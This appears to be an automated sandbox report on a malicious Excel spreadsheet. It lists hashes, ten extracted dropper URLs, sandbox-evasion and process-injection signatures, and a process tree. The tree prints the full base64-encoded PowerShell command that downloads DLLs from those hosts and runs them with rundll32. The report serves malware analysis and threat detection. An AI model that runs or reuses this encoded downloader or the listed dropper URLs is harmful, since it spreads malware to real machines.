73938b7c33abea137db59379cfb5480c697197ff03aebeee8921cd82dadf23bd

General

Target

73938b7c33abea137db59379cfb5480c697197ff03aebeee8921cd82dadf23bd.xls
Size

141KB
MD5

a16fbff1f5cb9686bb89b10e438fa353
SHA1

ed66c497457afb8309866e2cacf62857d9e844c9
SHA256

73938b7c33abea137db59379cfb5480c697197ff03aebeee8921cd82dadf23bd
SHA512

35fce4faf788b1b5e074ee55a4ef2b2956d6a5b22f5fc5d1daa34bfdd5c36ccd85ac5808088d0e8a1cac147f6a4033ed8fd5e55e0930c76cbb2bdc6d74c32642
SSDEEP

3072:P7cKoSsxzNDZLDZjlbR868O8K0c03D38TehYTdeHVhjqabWHLtyeGx6Z84TI0Gxc:zcKoSsxzNDZLDZjlbR868O8K0c03D38X

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://chupahfashion.com/eh6bwxk/bowptl/cLo9eq8v8Vht/

exe.dropper

http://ancyh.xyz/Fox-C/LxAhgyO3fMg/

exe.dropper

http://gravton-dev-cms.policyfest.com/Fox-C/BMOkGelwu/

exe.dropper

https://capitalui.futuristic.agency/wp-admin/hwi9bnmXFFm3doo/

exe.dropper

http://cptdmy.com/zqtr/zdJE0jEOxL/

exe.dropper

https://weviralyou.com/wp-content/yl5qV15jWWfaGdSZLR/

exe.dropper

https://megabyte-xtnegocios.com/ys3v1clw/AKm6Q9/

exe.dropper

https://vmsparamedical.com/urjk0xr/PhfwL/

exe.dropper

https://viprait.com/lag5gn/cdy6k/

exe.dropper

https://comingsoon.futuristic.agency/svg/p4xODmupFbHPnr/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1304	688	cmd.exe	81

Blocklisted process makes network request 9 IoCs

flow	pid	Process
28	4896	powershell.exe
29	4896	powershell.exe
33	4896	powershell.exe
34	4896	powershell.exe
36	4896	powershell.exe
39	4896	powershell.exe
43	4896	powershell.exe
48	4896	powershell.exe
50	4896	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
688	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4896	powershell.exe
4896	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4896	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
688	EXCEL.EXE
688	EXCEL.EXE
688	EXCEL.EXE
688	EXCEL.EXE
688	EXCEL.EXE
688	EXCEL.EXE
688	EXCEL.EXE
688	EXCEL.EXE
688	EXCEL.EXE
688	EXCEL.EXE
688	EXCEL.EXE
688	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 688 wrote to memory of 1304	688	EXCEL.EXE	86
PID 688 wrote to memory of 1304	688	EXCEL.EXE	86
PID 1304 wrote to memory of 4896	1304	cmd.exe	88
PID 1304 wrote to memory of 4896	1304	cmd.exe	88

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\73938b7c33abea137db59379cfb5480c697197ff03aebeee8921cd82dadf23bd.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:688
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\programdata\ihofbnm.bat" "
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1304
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AYwBoAHUAcABhAGgAZgBhAHMAaABpAG8AbgAuAGMAbwBtAC8AZQBoADYAYgB3AHgAawAvAGIAbwB3AHAAdABsAC8AYwBMAG8AOQBlAHEAOAB2ADgAVgBoAHQALwAsAGgAdAB0AHAAOgAvAC8AYQBuAGMAeQBoAC4AeAB5AHoALwBGAG8AeAAtAEMALwBMAHgAQQBoAGcAeQBPADMAZgBNAGcALwAsAGgAdAB0AHAAOgAvAC8AZwByAGEAdgB0AG8AbgAtAGQAZQB2AC0AYwBtAHMALgBwAG8AbABpAGMAeQBmAGUAcwB0AC4AYwBvAG0ALwBGAG8AeAAtAEMALwBCAE0ATwBrAEcAZQBsAHcAdQAvACwAaAB0AHQAcABzADoALwAvAGMAYQBwAGkAdABhAGwAdQBpAC4AZgB1AHQAdQByAGkAcwB0AGkAYwAuAGEAZwBlAG4AYwB5AC8AdwBwAC0AYQBkAG0AaQBuAC8AaAB3AGkAOQBiAG4AbQBYAEYARgBtADMAZABvAG8ALwAsAGgAdAB0AHAAOgAvAC8AYwBwAHQAZABtAHkALgBjAG8AbQAvAHoAcQB0AHIALwB6AGQASgBFADAAagBFAE8AeABMAC8ALABoAHQAdABwAHMAOgAvAC8AdwBlAHYAaQByAGEAbAB5AG8AdQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHkAbAA1AHEAVgAxADUAagBXAFcAZgBhAEcAZABTAFoATABSAC8ALABoAHQAdABwAHMAOgAvAC8AbQBlAGcAYQBiAHkAdABlAC0AeAB0AG4AZQBnAG8AYwBpAG8AcwAuAGMAbwBtAC8AeQBzADMAdgAxAGMAbAB3AC8AQQBLAG0ANgBRADkALwAsAGgAdAB0AHAAcwA6AC8ALwB2AG0AcwBwAGEAcgBhAG0AZQBkAGkAYwBhAGwALgBjAG8AbQAvAHUAcgBqAGsAMAB4AHIALwBQAGgAZgB3AEwALwAsAGgAdAB0AHAAcwA6AC8ALwB2AGkAcAByAGEAaQB0AC4AYwBvAG0ALwBsAGEAZwA1AGcAbgAvAGMAZAB5ADYAawAvACwAaAB0AHQAcABzADoALwAvAGMAbwBtAGkAbgBnAHMAbwBvAG4ALgBmAHUAdAB1AHIAaQBzAHQAaQBjAC4AYQBnAGUAbgBjAHkALwBzAHYAZwAvAHAANAB4AE8ARABtAHUAcABGAGIASABQAG4AcgAvACIALgBTAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAoACQAcwB0ACAAaQBuACAAJAByAG8AdwBpAGYAaQB1AGQAKQB7ACQAcgByAHkAaQB1AGQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABmAGcAaABpAHUAcwA9AEcAZQB0AC0AUgBhAG4AZABvAG0AOwAgACQARwBzAHIARgBKAFkAagBkADUANAA2AGQAcwA9ACIAYwA6AFwAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAIgArACQAcgByAHkAaQB1AGQAKwAiAC4AZABsAGwAIgA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHMAdAAgAC0ATwB1AHQARgBpAGwAZQAgACQARwBzAHIARgBKAFkAagBkADUANAA2AGQAcwA7AGkAZgAoAFQAZQBzAHQALQBQAGEAdABoACAAJABHAHMAcgBGAEoAWQBqAGQANQA0ADYAZABzACkAewBpAGYAKAAoAEcAZQB0AC0ASQB0AGUAbQAgACQARwBzAHIARgBKAFkAagBkADUANAA2AGQAcwApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAJABnAGgARABEAEYASgBIAGsANQBmAD0AIgBjADoAXAB3AGkAbgBkAG8AdwBzAFwAcwB5AHMAdwBvAHcANgA0AFwAcgB1AG4AZABsAGwAMwAyAC4AZQB4AGUAIgA7ACQAdAB5AGkAZAB1AGkAcwBkAGYAZgA9ACQARwBzAHIARgBKAFkAagBkADUANAA2AGQAcwArACIALABmACIAKwAkAGYAZwBoAGkAdQBzADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAZwBoAEQARABGAEoASABrADUAZgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAkAHQAeQBpAGQAdQBpAHMAZABmAGYAOwBiAHIAZQBhAGsAOwB9AH0AfQA=
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4896

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kukvfukm.j51.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
1KB

MD5
72264969baed597c6568e62a8815956e

SHA1
40ff9b6a8e6fb18ad1593aa8efd2ef8880047b14

SHA256
3f16d8092e1dab799ef6afd487211439247bf5af14f7efeb00060bf84e6579c0

SHA512
cbac30980e09ffb44077eb06cca082e3a731288508e344e09f807e85f7dc10a2d3f4f66131c42f6e102fb4ee60fdd4af579df823f2dbc902a4111782ce563c33

Download Submit
C:\programdata\ihofbnm.bat

Filesize
3KB

MD5
d7f8d77efca69f7600e190537d147b6c

SHA1
9709843ea19f342b3a95075588c4b6fdb688623d

SHA256
8fe05c046c282ee13765fb78ba5b27201571a74a46dbc901898255c111727caf

SHA512
dd975f74367e9ddaed18e0630556f14f8bd32f5e89ec13b92f933cbdfc32951e61b4da406407cb7e7cd37a2fe41726c200a0c1377ac8686f835eccfec599b5e2

Download Submit
memory/688-20-0x00007FF8EC2D0000-0x00007FF8EC4C5000-memory.dmp

Filesize
2.0MB

Download
memory/688-4-0x00007FF8AC350000-0x00007FF8AC360000-memory.dmp

Filesize
64KB

Download
memory/688-19-0x00007FF8EC2D0000-0x00007FF8EC4C5000-memory.dmp

Filesize
2.0MB

Download
memory/688-8-0x00007FF8EC2D0000-0x00007FF8EC4C5000-memory.dmp

Filesize
2.0MB

Download
memory/688-13-0x00007FF8AA2F0000-0x00007FF8AA300000-memory.dmp

Filesize
64KB

Download
memory/688-7-0x00007FF8EC2D0000-0x00007FF8EC4C5000-memory.dmp

Filesize
2.0MB

Download
memory/688-15-0x00007FF8EC2D0000-0x00007FF8EC4C5000-memory.dmp

Filesize
2.0MB

Download
memory/688-14-0x00007FF8EC2D0000-0x00007FF8EC4C5000-memory.dmp

Filesize
2.0MB

Download
memory/688-6-0x00007FF8EC2D0000-0x00007FF8EC4C5000-memory.dmp

Filesize
2.0MB

Download
memory/688-18-0x00007FF8EC2D0000-0x00007FF8EC4C5000-memory.dmp

Filesize
2.0MB

Download
memory/688-23-0x00007FF8EC2D0000-0x00007FF8EC4C5000-memory.dmp

Filesize
2.0MB

Download
memory/688-22-0x00007FF8EC2D0000-0x00007FF8EC4C5000-memory.dmp

Filesize
2.0MB

Download
memory/688-21-0x00007FF8EC2D0000-0x00007FF8EC4C5000-memory.dmp

Filesize
2.0MB

Download
memory/688-3-0x00007FF8EC36D000-0x00007FF8EC36E000-memory.dmp

Filesize
4KB

Download
memory/688-12-0x00007FF8AA2F0000-0x00007FF8AA300000-memory.dmp

Filesize
64KB

Download
memory/688-16-0x00007FF8EC2D0000-0x00007FF8EC4C5000-memory.dmp

Filesize
2.0MB

Download
memory/688-10-0x00007FF8EC2D0000-0x00007FF8EC4C5000-memory.dmp

Filesize
2.0MB

Download
memory/688-5-0x00007FF8AC350000-0x00007FF8AC360000-memory.dmp

Filesize
64KB

Download
memory/688-2-0x00007FF8AC350000-0x00007FF8AC360000-memory.dmp

Filesize
64KB

Download
memory/688-1-0x00007FF8AC350000-0x00007FF8AC360000-memory.dmp

Filesize
64KB

Download
memory/688-0-0x00007FF8AC350000-0x00007FF8AC360000-memory.dmp

Filesize
64KB

Download
memory/688-37-0x00007FF8EC2D0000-0x00007FF8EC4C5000-memory.dmp

Filesize
2.0MB

Download
memory/688-40-0x00007FF8EC2D0000-0x00007FF8EC4C5000-memory.dmp

Filesize
2.0MB

Download
memory/688-11-0x00007FF8EC2D0000-0x00007FF8EC4C5000-memory.dmp

Filesize
2.0MB

Download
memory/688-17-0x00007FF8EC2D0000-0x00007FF8EC4C5000-memory.dmp

Filesize
2.0MB

Download
memory/688-9-0x00007FF8EC2D0000-0x00007FF8EC4C5000-memory.dmp

Filesize
2.0MB

Download
memory/688-114-0x00007FF8EC2D0000-0x00007FF8EC4C5000-memory.dmp

Filesize
2.0MB

Download
memory/688-107-0x00007FF8EC2D0000-0x00007FF8EC4C5000-memory.dmp

Filesize
2.0MB

Download
memory/688-113-0x00007FF8EC2D0000-0x00007FF8EC4C5000-memory.dmp

Filesize
2.0MB

Download
memory/4896-104-0x00000206C6800000-0x00000206C6FA6000-memory.dmp

Filesize
7.6MB

Download
memory/4896-94-0x00000206C5B50000-0x00000206C5B72000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads